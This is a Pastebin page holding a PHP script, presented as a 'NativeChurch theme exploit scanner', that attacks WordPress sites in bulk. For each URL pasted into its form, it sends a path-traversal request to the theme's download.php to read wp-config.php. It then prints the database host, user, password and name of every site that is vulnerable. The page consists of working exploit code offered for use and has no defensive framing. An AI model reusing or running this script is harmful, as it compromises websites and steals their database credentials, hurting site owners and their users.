Advertisement
Ribang

WordPress NativeChurch theme LFI scanner

Feb 4th, 2018
490
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.62 KB | None | 0 0
  1. <center>
  2.  NativeChurch theme exploit scanner  <br> Mr.MaGnoM
  3.    <form method='post'>
  4.      <textarea name='sites' cols='50' rows='12'></textarea> <br>
  5.      <input type='submit' name='go' value='scan' />   <br>
  6.    </form>
  7. </center>
  8. <?php
  9.  
  10. // coded by mr magnom
  11. // facebook : https://www.facebook.com/theprincemagnom
  12. // my blog : http://magsec.blogspot.com/
  13.  
  14.       error_reporting(0);
  15.       set_time_limit(0);
  16.  
  17. if($_POST['go']){
  18.  
  19.  $ex=explode("\r\n",$_POST['sites']);
  20.  
  21.  foreach($ex as $urls) {
  22.    echo scanner($urls);
  23.  }
  24.  
  25. }
  26.  
  27.    function scanner($site){
  28.      echo '<center>';
  29.  
  30.  
  31.      $linexploit='/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php';
  32.  
  33.  
  34.        $hhh=($site).($linexploit);
  35.  
  36.        $get=@file_get_contents($hhh);
  37.  
  38.        if(preg_match("#require_once\(ABSPATH . 'wp-settings.php'\);#i",$get)){
  39.  
  40.     echo '<center>'.$site.'  --->  <font color="green">infected</font>'."<br>";
  41.      echo '<font color="blue">';
  42.  
  43.      preg_match ("#define\('DB_HOST', '(.*?)'\);#i", $get, $f);
  44.      echo "\t\t[!] DB_HOST : ". $f[1]. "<br>";
  45.  
  46.         preg_match ("#define\('DB_USER', '(.*?)'\);#i", $get, $f) ;
  47.         echo "\t\t[!] DB_USER : ". $f[1]. "<br>";
  48.  
  49.         preg_match ("#define\('DB_PASSWORD', '(.*?)'\);#i", $get, $f)  ;
  50.         echo "\t\t[!] DB_PASSWORD : ". $f[1]. "<br>";
  51.  
  52.         preg_match ("#define\('DB_NAME', '(.*?)'\);#i", $get, $f) ;
  53.         echo "\t\t[!] DB_NAME : ". $f[1]. "<br>";
  54.  
  55.     echo '</font>';
  56.  
  57.   }else{
  58.     echo '<center>'.$site.' ---> <font color="red">not infected</font>'."<br>";
  59.   }
  60.   echo '</center>';
  61.      }
  62.  
  63.  
  64. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement